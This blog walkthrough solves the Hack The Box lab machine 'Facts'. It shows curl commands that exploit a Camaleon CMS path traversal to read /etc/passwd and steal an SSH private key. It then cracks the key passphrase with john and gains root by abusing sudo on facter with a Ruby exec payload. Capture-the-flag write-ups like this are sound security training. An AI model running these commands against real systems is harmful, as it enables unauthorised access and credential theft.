# Facts

Hack-The-Box 25 / 72
2 min read
HTB Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. PHP
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Facts
  • OS Type: Linux
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Enumeration

Port 80/HTTP

we found http site running on the port 80, first we need the hostname to /etc/hosts file using

echo "10.129.19.195 facts.htb facts" | sudo tee -a /etc/hosts

and then visit the website

image.png

after running gobuster i found the admin panel link

gobuster dir -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
image.png

visiting the admin page we’ve found the following login page

image.png

we’ve tried the default creds such as admin:admin but was not working there was the option for the create an account so i’ve created the admin account and login with that

image.png

we can see that it is running camaleon CMS version 2.9.0

after searching lot i found https://vulners.com/githubexploit/300B85BE-7B44-50B4-AC2A-336B8AFD2D88

image.png

so we can see that this endpoint is vulnerable

i’ve tried this http://facts.htb//admin/media/download_private_file?file=../../../../../../etc/passwd

and we’ve got the /etc/passwd file downloaded on our system

image.png

we can see that there is 2 user’s in the system trivia and william, also we’ve noticed that SSH port was open on the target so let’s try to get the private key

we can do same by curl command but we need to specify the cookie as this is authenticated endpoint

curl http://facts.htb//admin/media/download_private_file?file=../../../../../../etc/passwd -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"
image.png

so first i’ll check the authorized_keys file for both users if any available so we can confirm which user has the access using SSH private key and what kind of keys they are using

Terminal window
curl http://facts.htb//admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"
image.png

we can confirm that the trivia user is using ssh key, let’s check if we can access the ssh private key or not

Terminal window
curl http://facts.htb//admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519 -H "Cookie: auth_token=t49tnQQVzQdAX_pKH8KKZQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A140.0%29+Gecko%2F20100101+Firefox%2F140.0&10.10.14.132"
image.png

we can connect with the ssh using

Terminal window
ssh trivia@10.129.19.195 -i id_ed25519
image.png

oopps!! it requires the passphrase

to crack the passphrase we can use the ssh2johnand johntool

Terminal window
ssh2john id_ed25519 > hash

and then use john to crack the hash

Terminal window
john hash --wordlist=/usr/share/wordlists/rockyou.txt
image.png

login using ssh now

Terminal window
ssh trivia@10.129.19.195 -i id_ed25519

enter the passphrase dragonballz

after login we’ve ran the sudo -l command

Terminal window
sudo -l
image.png

we’ve found that user trivia can run /usr/bin/facter using sudo as root without provide

after searching a bit i found the GTFObins (i don’t like new GTFOBins that’s why i used internet archive

https://web.archive.org/web/20250823012220/https://gtfobins.github.io/gtfobins/facter/#sudo

Terminal window
echo 'exec("/bin/bash")' > /tmp/root.rb

and then we can check the help for facter using facter -h

image.png

we can specify the custom dir to run the facts as it will run any ruby file from that directory i’ve specified the /tmp

Terminal window
sudo /usr/bin/facter --custom-dir /tmp
image.png

Bingo!!!! We’re ROOT!!

Next: Escape
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Bastion

Hack-The-Box 8 / 72
4 min read

Windows Easy machine - Bastion.

HTB Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks.

# **Devvortex**

Hack-The-Box 24 / 72
4 min read

Linux Easy machine - **Devvortex**.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP MySQL

# Help

Hack-The-Box 28 / 72
7 min read

Linux Easy machine - Help.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP File Upload ⓘ A vulnerability where unrestricted file uploads let an attacker plant a web shell or malicious script. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

# OpenAdmin

Hack-The-Box 47 / 72
5 min read

Linux Easy machine - OpenAdmin.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. PHP Password Spraying ⓘ Trying one common password against many usernames to avoid account lockouts. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.
Comments